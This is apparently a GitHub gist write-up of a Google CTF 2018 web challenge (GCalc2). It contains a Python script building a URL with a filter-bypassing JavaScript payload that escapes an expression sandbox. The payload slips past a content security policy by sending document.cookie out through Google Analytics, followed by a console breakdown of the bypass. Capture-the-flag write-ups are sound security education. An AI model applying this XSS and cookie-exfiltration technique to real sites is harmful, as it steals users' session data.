Google CTF 2018 Quals: GCalc2 web task solution
| from urllib import quote_plus | |
| ga_tid = 'UA-***-1' # put your GA id here | |
| url = 'https://gcalc2.web.ctfcompetition.com/' | |
| url += r'?expr=vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())()&vars=%7B%22pi%22:1.0,%22' | |
| url += quote_plus(''' | |
| script = document.createElement('script');script.src='https://www.google-analytics.com/collect?v=1&tid=%s&cid='+Math.random()+'&t=event&ec=email&el='+Math.random()+'&cs=newsletter&cm=email&cn='+document.cookie+'&cm1=1&ea=test';document.head.appendChild(script); | |
| '''.replace('"', '\\"').replace('\n','') % ga_tid) | |
| url += r'%22:1%7D' | |
| print url |
| The application implements client-side "calculator". You can also submit calculation requests to the flag bot. | |
| Requests consist of 1) expression, 2) input vars JSON array. | |
| Essential parts of the solution are as follows: | |
| 1) The expressions are executed by the following function: | |
| function p(a, b) { | |
| a = String(a).toLowerCase(); | |
| b = String(b); | |
| if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a); | |
| b = JSON.parse(b, function(a, b) { | |
| if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b); | |
| if ("number" === typeof b) return b | |
| }); | |
| return (new Function("vars", "return " + a))(b) | |
| } | |
| You should use a limited alphabet to execute a JS payload. | |
| The payload from my exploit can be broken down the following way: | |
| > vars={"pi":3,"return 31337":0} | |
| {pi: 3, return 31337: 0} | |
| > vars.pi.constructor.name.constructor.constructor | |
| ƒ Function() { [native code] } | |
| > vars.pi.constructor.name | |
| "Number" | |
| > vars.pi.constructor.name.match() | |
| ["", index: 0, input: "Number", groups: undefined] | |
| > vars.pi.constructor.name.match().constructor(vars) | |
| [{…}] | |
| > vars.pi.constructor.name.match().constructor(vars).keys().constructor | |
| ƒ Object() { [native code] } | |
| > vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars) | |
| (2) ["pi", "return 31337"] | |
| > vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop() | |
| "return 31337" | |
| > vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())() | |
| 31337 | |
| 2) We should also bypass CSP. | |
| https://gcalc2.web.ctfcompetition.com/ loads https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html in sandboxed iframe ("allow-scripts allow-modals allow-same-origin"). | |
| Sandbox sends the following header: | |
| Content-security-policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com; | |
| Meaning, we can execute inline scripts, but there's no straightforward way to exfiltrate data. Appended meta-tag with a new CSP doesn't help. | |
| But we can actually use Google Analytics to "collect user data" and exfiltrate the cookie which contains the flag: | |
| CTF{1+1=alert} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment